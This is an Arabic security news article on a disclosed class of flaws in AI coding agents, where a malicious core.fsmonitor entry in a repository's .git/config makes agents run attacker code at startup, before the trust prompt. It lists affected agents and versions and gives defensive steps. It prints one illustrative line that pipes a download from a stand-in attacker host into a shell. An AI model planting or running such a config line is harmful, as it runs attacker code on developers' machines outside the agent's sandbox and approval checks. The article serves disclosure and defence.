سيبرانا
أمن الذكاء الاصطناعيتقرير ثغرةعالية

ملف .git/config خبيث يجعل Claude Code وCodex وCursor ووكلاء برمجة آخرين ينفّذون شفرة المهاجم قبل أي موافقة

ثماني ثغرات في سبعة وكلاء برمجة عبر سطر الأوامر، أربع منها لم تُرقَّع عند النشر. الحيلة قديمة قِدَم Git نفسه: إعداد core.fsmonitor يسمّي أمرًا يشغّله Git عند كل git status — والوكلاء يشغّلون git status عند بدء الجلسة، قبل نافذة الثقة وأحيانًا قبل تسجيل الدخول.

نُشر
حُدّث:
3 دقائق قراءة
مشاركة:XLinkedInFacebookTelegramWhatsApp
رسم توضيحي: كرة مساعد ذكاء اصطناعي مضيئة على مكتب مطوّر تحرّكها خيوط ضوئية تخرج من ملف إعدادات مخفي داخل مجلد مفتوح
رسم توضيحي — سيبرانا

الثغرات المرتبطة

  • CVE-2026-72718عالية
    CVSS:
    7.0
    المورّد:
    Block (goose)
    المنتجات المتأثرة:
    goose
    التصحيح متوفر: نعم

كشفت شركة Manifold Security عن ثماني ثغرات أمنية في سبعة وكلاء برمجة بالذكاء الاصطناعي تعمل عبر سطر الأوامر، تشترك كلها في نمط واحد: إعدادات Git الخاصة بالمستودع نفسه تسمّي أمرًا، والوكيل يشغّله على جهاز المطوّر. أربع منها كانت لا تزال دون إصلاح عند النشر، بحسب The Hacker News.

يُنفَّذ الأمر بهوية المستخدم، خارج الصندوق الرملي للوكيل، ودون أي طلب موافقة. الشرط الوحيد: أن يصل المستودع كملفات مع مجلد .git سليم — وهو ما يحفظه أرشيف مشترك أو قرص شبكي أو مجلد مزامنة أو ذاكرة USB، بينما لا يحفظه الاستنساخ العادي بـ git clone.

CVE-2026-72718عاليةCVSS 7.0Block (goose)

الآلية: core.fsmonitor

core.fsmonitor إعداد أداء في Git قيمته أمر يشغّله Git لتحديد الملفات المتغيرة، ويقرؤه Git من .git/config الخاص بالمستودع. أي عملية تحدّث الفهرس — بما فيها git status وgit diff — تنفّذ هذا الأمر. الوكلاء يستدعون هذه الأوامر في الخلفية عند بدء الجلسة لمعرفة الفرع الحالي والملفات المتغيرة، تاركين إعدادات المستودع كما هي.

.git/config — مثال توضيحي مبسّط
[core]
	fsmonitor = "curl -s https://attacker.example/x | sh"   # يعمل عند أول git status
«الثغرة ليست في النموذج، ولا في أي شيء جديد. إنها في السباكة العادية تحته: العملية الفرعية التي يطلقها الوكيل عند بدء الجلسة ليعرف أين هو.» — Manifold Security

التوقيت هو ما يجعل الأمر خطيرًا: في Claude Code وHermes Agent تُطلق الحمولة قبل قبول نافذة الثقة بالمساحة؛ في Qwen Code قبل أن يسجّل المستخدم دخوله؛ وفي Grok Build عند أول ضغطة مفتاح.

الوكلاء المتأثرون

الوكيل

الإصدارات المتأثرة

الحالة

goose

قبل 1.44.0

مُصلَح في 1.44.0

Codex CLI

0.102.0 – 0.130.0

مُصلَح في 0.131.0

Codex Desktop (macOS)

260202.0859 – 26.513.31313

مُصلَح في 26.519.22136

Codex Desktop (Windows)

26.304.38 – 26.513.40821

مُصلَح في 26.519.21041

Claude Code — مسار core.fsmonitor

مؤكَّد على 2.1.193

مُصلَح في 2.1.196

Claude Code — مسار claude ultrareview

مؤكَّد على 2.1.252

لا يزال قائمًا

Hermes Agent

0.18.2 و0.21.0

الإصلاح معلّق

Qwen Code

0.19.6 و0.22.3

الإصلاح معلّق

Grok Build

0.2.93 و1.0.13

الإصلاح معلّق

نشرت OpenAI في اليوم نفسه ثلاث ثغرات CVE خاصة بها تغطي الفئة نفسها في Codex، منسوبة إلى ثلاث مجموعات بحث مستقلة. وفي سجل CVE-2026-19592 كتبت: «يعمل المساعد خارج الصندوق الرملي لأوامر Codex ودون طلب موافقة المستخدم، ما يسمح لشفرة يتحكم بها المهاجم بالعمل بصلاحيات المستخدم».

مشكلة تعود

ما يلفت في القصة أنها ليست جديدة. أبلغت Sonar عن نقطة الضعف نفسها في أبريل، ولاحظت أن Anthropic كانت قد نقلت تسلسل البدء مرة لسدّها (الإصدار 2.0.34 في نوفمبر 2025 توقف عن تشغيل git status قبل نافذة الثقة) — ثم عاد السلوك نفسه في 2.1.193 الصادر في يونيو 2026. وحدّدت Sonar تجاوز نافذة الثقة ذاته في Visual Studio Code قبل 1.63.1 (CVE-2021-43891) وفي JetBrains قبل 2021.3.1 (CVE-2022-24346). الدرس واضح: بيئات التطوير تعيد اكتشاف الخطأ نفسه كل بضع سنوات.

خمسة من تقارير Manifold عادت باعتبارها مكررة لنتائج أبلغ عنها باحثون آخرون بشكل مستقل — أحدها في اليوم نفسه. أُصلح مسار core.fsmonitor في Claude Code خلال ثلاثة أيام، لكن Anthropic لم تنشر تنبيهًا له، وأكد The Hacker News في 2 سبتمبر أن سجل التنبيهات المنشور للحزمة لا يغطي أيًا من النتيجتين. المسار الثاني، عبر claude ultrareview، يعتمد على مفتاح إعداد Git مختلف حجبته Manifold، وكان لا يزال قائمًا في 2.1.252 مقابل الإصدار الحالي 2.1.258.

ماذا تفعل؟

  1. حدّث goose وCodex وClaude Code إلى الإصدارات المُصلَحة فورًا؛ وراقب إصدارات Hermes وQwen Code وGrok Build.
  2. لا تفتح مستودعات وصلتك كملفات (أرشيف، USB، مجلد مشترك) بوكيل ذكاء اصطناعي قبل فحص .git/config: git config --file .git/config --list وابحث عن fsmonitor وأي قيمة تحتوي أمرًا.
  3. استنسخ بدل النسخ: git clone من مصدر موثوق لا ينقل إعدادات المستودع، بينما نسخ المجلد ينقلها.
  4. قيّد الوكلاء بصلاحيات أقل: شغّلها في حاوية أو مساحة عمل معزولة بلا وصول إلى مفاتيح SSH ورموز السحابة — المبدأ نفسه الذي ناقشناه في تحليلنا عن صلاحيات الوكلاء.
  5. للفرق: أضف فحصًا في خط CI يرفض أي مستودع يحتوي .git/config بمفاتيح تنفيذية (fsmonitor، sshCommand، pager، editor، وما شابه).

المصادر والمراجع

  1. Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker CodeThe Hacker News
  2. GitSpawn — Manifold Security researchManifold Security
  3. GHSA advisory for goose (CVE-2026-72718)GitHub
مشاركة:XLinkedInFacebookTelegramWhatsApp
سارة القاسمي

عن الكاتب

سارة القاسمي

محررة — أمن السحابة والتطبيقات

ملف تعريفي تجريبي لأغراض العرض. تهتم «سارة» بأمن السحابة، سلسلة التوريد البرمجية، وأمن الذكاء الاصطناعي.

  • أمن السحابة
  • سلسلة التوريد
  • أمن الذكاء الاصطناعي
كل مقالات سارة القاسمي